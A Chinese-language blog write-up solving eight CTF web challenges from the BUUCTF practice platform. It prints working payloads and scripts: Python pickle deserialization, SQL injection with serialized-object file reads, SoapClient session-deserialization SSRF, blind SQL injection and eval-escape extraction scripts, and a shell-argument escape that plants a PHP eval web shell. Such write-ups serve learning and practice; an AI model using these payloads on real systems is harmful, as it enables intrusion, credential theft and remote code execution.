第一弹:http://eustiar.com/archives/413
本来应该是都写在那一篇里的,想了想这样显得我像是咸了很久,就新开了一篇来欺骗自己"我很勤奋"
1.Point System
靶机:http://web48.buuoj.cn/
这个题是今年半决赛东北赛区的一道题
之前我已经写过了,详情见这里
2.admin
靶机:http://web37.buuoj.cn
进去之后一篇空荡荡的,有注册和登录功能,注册一个账号,登陆进去
可以写posts,改密码
但是经过尝试发现写posts并没有什么用,写完并没有存储下来或者发送到哪
尝试登录是否存在注入,加单引号'后发现报错
这是处于debug模式下,注意每一项右边的第一个按钮可以调出python交互窗口,经过测试发现可以通过交互式命令行执行python语句
emmm,这是python2,改用commands库
直接grep爆搜找到flag,在index.html模板里。。
3.ikun
靶机:http://web44.buuoj.cn/
律师函警告!
注册账号,登录,在个人中心,有1000启动资金,查看首页
根据内容找lv6的号,写个脚本找
if __name__ == '__main__': for i in range(1, 1000): time.sleep(0.05) url = 'http://web44.buuoj.cn/shop?page={}'.format(i) res = requests.get(url) if 'lv6.png' in res.text: print(i) break
在第181页
购买时抓包,发现discount可以修改,改成0.00000001让我们买得起
跳转到
查看cookie,有个JWT
用c-jwt-cracker爆破得到秘钥1Kun
伪造username为admin成功进入页面
f12发现源码备份,下载审计发现Admin.py存在反序列化漏洞
用以下脚本生成payload:
import os import pickle import urllib class obj(object): def __reduce__(self): return (eval,("open('/flag.txt').read()",)) a = obj() payload = pickle.dumps(a) print(urllib.quote(payload))
作为become参数提交即可
4.fakebook
靶机:http://web23.buuoj.cn
进入后是这样一个界面,可以login和join(应该是注册的功能
习惯性的扫一下目录,发现robots.txt
得到user.php源码
<?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); } }
猜测需要ssrf
先join一下,有个get参数no,习惯性的加个单引号发现报错,应该存在sql注入
尝试一番后发现存在很弱的过滤,有直接回显
而且根据报错信息,存在unserialize的使用,猜测存在反序列化
因为在mysql中,对字符串的直接查询会直接返回该结果,例如:
所以可以直接注入序列化的对象,用file协议读文件
payload:
no=-1%20union/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:7:"Eustiar";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27%20from%20users#
f12找到一串base64编码
解码得到flag
通过这种方式读了一下源码,发现过滤是真的很弱:
public function anti_sqli($no) { $patterns = "/union\Wselect|0x|hex/i"; return preg_match($patterns, $no); }
也可以用两个小括号绕过
5.bestphp's revenge
靶机:http://web12.buuoj.cn
直接给了源码
<?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; } highlight_file(__FILE__); $b = 'implode'; call_user_func($_GET['f'], $_POST); session_start(); if (isset($_GET['name'])) { $_SESSION['name'] = $_GET['name']; } var_dump($_SESSION); $a = array(reset($_SESSION), 'welcome_to_the_lctf2018'); call_user_func($b, $a); ?>
同时扫目录发现flag.php
session_start(); echo 'only localhost can get flag!'; $flag = 'flag{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; }
思路很清晰,要利用两个call_user_func进行ssrf来读flag.php并写道session
这里利用了SoapClient类+session反序列化来形成ssrf
关于SoapClient,其实之前在N1CTF里有用到过(当时队里的zblee师傅还给我们讲过预期解,只不过当时听的迷迷糊糊的,而且听完就忘了,前几天才捡起来复现了一下),详情可以看这里,以及Soapclient一些讲解
关于session反序列化,详情可以看这一篇
php的序列化方式有三种:
如果一开始是以php_serialize方式存储,而解析时以php(默认)的方式进行,则会产生问题:
将序列化后的对象字符串前加一个|,例如
name='|O:4:"Noob":1:{s:4:"name";s:7:"Eustiar";}'
而反序列化时以php的方式,则会将|之后的部分进行反序列化,虽然最后会有一部分多余的字符";},但是反序列化会自动忽略后面多余的字符,所以可以成功反序列化
先给个解题脚本:
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Author : Eustiar import requests import re url = "http://web12.buuoj.cn/" payload = '|O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}' r = requests.session() data = {'serialize_handler': 'php_serialize'} res = r.post(url=url+'?f=session_start&name='+payload, data=data) # print(res.text) res = r.get(url) # print(res.text) data = {'b':'call_user_func'} res = r.post(url=url+'?f=extract', data=data) res = r.post(url=url+'?f=extract', data=data)#相当于刷新页面 sessionid = re.findall(r'string\(26\) "(.*?)"', res.text) cookie = {"Cookie": "PHPSESSID=" + sessionid[0]} res = r.get(url, headers=cookie) print(res.text)
首先通过调用sesson_start改变php序列化方式为php_serialize,同时将我们构造的反序列化Soapclient提交进行存储
然后使用extract覆盖掉$b,触发Soapclient的__call方法来发送http请求,目标就是location属性
最后再次访问,提取其中的PHPSESSID,替换掉cookie访问即可获得flag
6.Easyweb
靶机:http://web66.buuoj.cn
源码:https://github.com/glzjin/CISCN_2019_Final_12_Day2_Web1
这是今年国赛总决赛第二天的题,我们队当时抽到这个题了,其实这个题挺简单的,但当时因为操作失误导致写上了错误的shell,重置了环境再做的(哎,白丢了不少分,被打穿了)
因为决赛的web是给源码的,所以无形之中降低了不少难度,现在分别以有/无源码的视角来做一下这个题
无源码:
首先进去是一个登录界面,尝试登录无果,扫一波目录发现robots.txt,提示*.php.bak,尝试后得到image.php.bak
<?php include "config.php"; $id=isset($_GET["id"])?$_GET["id"]:"1"; $path=isset($_GET["path"])?$_GET["path"]:""; $id=addslashes($id); $path=addslashes($path); $id=str_replace(array("\\0","%00","\\'","'"),"",$id); $path=str_replace(array("\\0","%00","\\'","'"),"",$path); $result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'"); $row=mysqli_fetch_array($result,MYSQLI_ASSOC); $path="./" . $row["path"]; header("Content-Type: image/jpeg"); readfile($path);
错误地用了addslashes和str_replace,可以使用如下方式逃逸单引号
id=\0
然后在path中进行注入,可以通过时间盲注获得admin的账号密码:
def timesql(): dic = string.digits + string.ascii_lowercase + string.ascii_uppercase + string.punctuation flag = '' length = 0 for i in range(1,100): length = len(flag) for j in dic: time.sleep(0.05) url1 = "http://web66.buuoj.cn/image.php?path=%20or%20if(ascii(substring((select group_concat(username,password) from `users`),{},1))={},sleep(1),sleep(0))%23&id=\\0".format(i, ord(j)) res = requests.get(url1) if res.elapsed.seconds >= 1: flag += j print(flag) break if length == len(flag): break
登陆后发现作为admin可以上传文件,随便上传一个文件后返回:
看样子可以通过文件名来写shell,尝试写一句话发现过滤了php关键字,使用不带php的一句话即可:
getflag:
有源码:
config.php中可以找到秘钥,直接通过cookie伪造为admin即可,无需盲注密码,后续与无源码相同
7.PyCalx
靶机:http://web13.buuoj.cn/cgi-bin/pycalx.py
直接给了源码:
#!/usr/bin/env python3 import cgi; import sys from html import escape FLAG = open('/var/www/flag','r').read() OK_200 = """Content-type: text/html <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css"> <center> <title>PyCalx</title> <h1>PyCalx</h1> <form> <input class="form-control col-md-4" type=text name=value1 placeholder='Value 1 (Example: 1 abc)' autofocus/> <input class="form-control col-md-4" type=text name=op placeholder='Operator (Example: + - * ** / // == != )' /> <input class="form-control col-md-4" type=text name=value2 placeholder='Value 2 (Example: 1 abc)' /> <input class="form-control col-md-4 btn btn-success" type=submit value=EVAL /> </form> <a href='?source=1'>Source</a> </center> """ print(OK_200) arguments = cgi.FieldStorage() if 'source' in arguments: source = arguments['source'].value else: source = 0 if source == '1': print('<pre>'+escape(str(open(__file__,'r').read()))+'</pre>') if 'value1' in arguments and 'value2' in arguments and 'op' in arguments: def get_value(val): val = str(val)[:64] if str(val).isdigit(): return int(val) blacklist = ['(',')','[',']','\'','"'] # I don't like tuple, list and dict. if val == '' or != []: print('<center>Invalid value</center>') sys.exit(0) return val def get_op(val): val = str(val)[:2] list_ops = ['+','-','/','*','=','!'] if val == '' or val[0] not in list_ops: print('<center>Invalid op</center>') sys.exit(0) return val op = get_op(arguments['op'].value) value1 = get_value(arguments['value1'].value) value2 = get_value(arguments['value2'].value) if str(value1).isdigit() ^ str(value2).isdigit(): print('<center>Types of the values don\'t match</center>') sys.exit(0) calc_eval = str(repr(value1)) + str(op) + str(repr(value2)) print('<div class=container><div class=row><div class=col-md-2></div><div class="col-md-8"><pre>') print('>>>> print('+escape(calc_eval)+')') try: result = str(eval(calc_eval)) if result.isdigit() or result == 'True' or result == 'False': print(result) else: print("Invalid") # Sorry we don't support output as a string due to security issue. except: print("Invalid") print('>>> </pre></div></div></div>')
读一下源码,可以提交value1,value2,op以及source(这里没用到)4个值,其中value最长为64,不能包含'(',')','[',']','\'','"'、op最长为2,只能以'+','-','/','*','=','!'开头、且value要么全是数字,要么全不是数字(通过isdigit判断)
flag已经存到FLAG变量中,只需要读取这个变量即可
因为op限定开头但没有限定第二个字符,所以可以采用这种方式逃逸单引号:
op=%2B%27
通过类似盲注的方式进行判断:
value1=a&op=%2B%27&value2=<FLAG%23
解题脚本:
import requests import time if __name__ == '__main__': dic = string.digits + string.ascii_lowercase + string.ascii_uppercase + '{' + '}' + '~' dic = sorted(dic) flag = '' for i in range(100): time.sleep(0.05) length = len(flag) for j in range(len(dic)): url = 'http://web13.buuoj.cn/cgi-bin/pycalx.py?value1={}&op=%2B%27&value2=%3CFLAG%23' res = requests.get(url.format(flag + dic[j])) if 'False' in res.text: flag += dic[j - 1] print(flag) break if length == len(flag): break
跑很久跑出flag(去掉字典中的大写字母可以加快速度):
8.Online Tool
直接给了源码
<?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; } if(!isset($_GET['host'])) { highlight_file(__FILE__); } else { $host = $_GET['host']; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); chdir($sandbox); echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); }
这里是由于同时使用了escapeshellarg和escapeshellcmd导致了单引号逃逸
这里看一下两者同时使用的结果:
<?php $host = "hello'world"; echo $host; echo '<br>'; $host = escapeshellarg($host); echo $host; echo '<br>'; $host = escapeshellcmd($host); echo $host; echo '<br>'; ?>
结果是
hello'world 'hello'\''world' 'hello'\\''world\'
escapeshellarg会首先在单引号前加反斜线,然后将单引号分割的几部分都用单引号括起来
escapeshellcmd会将`|*?~<>^()[]{}$\, \x0A 和 \xFF以及不配对的单/双引号转义
而如果使用两个单引号,放在首尾,例如
'hello world'
则会是如下结果:
'hello world' ''\''hello world'\''' ''\\''hello world'\\'''
hello world是可以由我们控制的部分,而nmap可以使用-oG参数将命令以及结果输出到文件(这里使用-oG是忽略中间的报错,题目应该是php5的环境,实测php7使用-oN也可以)
所以使用如下payload:
host=' <?php @eval($_GET["cmd"]);?> -oG eustiar.php '
成功写入shell,sandbox路径自动给出,cat flag 即可
第三弹:http://eustiar.com/archives/576
打赏作者